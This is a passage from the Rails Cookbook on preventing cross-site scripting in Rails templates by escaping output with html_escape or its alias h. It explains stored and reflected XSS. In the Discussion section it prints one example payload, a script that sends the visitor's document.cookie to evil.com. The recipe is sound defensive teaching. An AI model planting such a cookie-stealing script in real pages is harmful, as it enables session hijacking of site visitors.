Recipe 11.3. Guarding Against Cross-Site Scripting Attacks


Problem

Many web 2.0 applications are centered on community contributed content. This content is often collected and displayed it in HTML. Unfortunately, redisplaying user submitted content in an HTML page opens you up to a security vulnerability called cross-site scripting (XSS). You want to eliminate this threat.

Solution

An XSS attack is when a malicious user tries to have his JavaScript code execute within the browser of a second user as they visit a trusted web site. The ultimate goal of this JavaScript is often to extort the victim's private information. There are several variations of this attack but all of them can be easily avoided by escaping potentially tainted output before allowing it to be rendered in your application's view templates.

Pass all potentially tainted variables to Ruby's html_escape method (part of the ERB::Util module). For example:

<%= html_escape(@user.last_search) %>

To make using this method even easier, html_escape is aliased as h. Using this shorthand, you could also have used the following:

<%= h(@user.last_search) %>

or, an even more idiomatic version (without parenthesis):

<%=h @user.last_search %>

With this version, it takes only a single character more per variable to protect your application from this kind of attack. That's a pretty good return on your security investment. Get into the habit of escaping all displayed variables in your templates, and you'll eliminate XSS all together.

Discussion

XSS attacks can be categorized into two groups by the way they store and send malicious code to the victim's browser. These are stored XSS attacks and reflected XSS attacks.

With stored XSS attacks, the attacker's malicious code lives on the attacked site's server and is displayed in the context of a message forum or a comment display field, for example. Anyone visiting pages displaying this code is a potential victim.

Reflected XSS attacks take advantage of temporary display mechanisms such as error fields (e.g., the value you entered: some value is invalid). This type of XSS attack usually requires the attacker to get an unsuspecting user to click on a fabricated link in a email message. This link comes from a site external to the one being attacked. The most extreme example of an XSS attack is one where a victim unsuspectingly sends a session cookie to an attacker simply by loading what they thought was a safe page.

Say you have a community site where users can enter content that will be redisplayed in a profile page or even in a "featured profiles" section of a main page. Here's the code to display a user profile:

<div >   <%= @user.profile %> </div>

Now suppose that @user.profile contains:

<script>document.location='http://evil.com?'+document.cookie</script>

When a user visits a page that renders this contents with HTML, he will trigger a browser relocation that sends the session cookie to a site of the attacker's choosing. This site then collects the values of document.cookie as an HTTP get variable.

XSS attacks are easily avoided as long as you are diligent about making sure that all user input is filtered and that all displayed user content is escaped. Here's the definition of html_escape and the alias that allows you to use the form <%=h @some_var %> instead:

def html_escape(s)   s.to_s.gsub(/&/n,                '&amp;').gsub(/\"/n,                              '&quot;').gsub(/>/n,                                             '&gt;').gsub(/</n, '&lt;') end alias h html_escape

The method replaces the four XML metacharacters (< > & ") with their entities (&lt; &gt; &amp; &quot;), removing the threat of unanticipated execution of malicious scripts.

See Also

  • Section 11.2"




Rails Cookbook
Rails Cookbook (Cookbooks (OReilly))
ISBN: 0596527314
EAN: 2147483647
Year: 2007
Pages: 250
Authors: Rob Orsini

flylib.com © 2008-2017.
If you may any questions please contact us: flylib@qtcs.net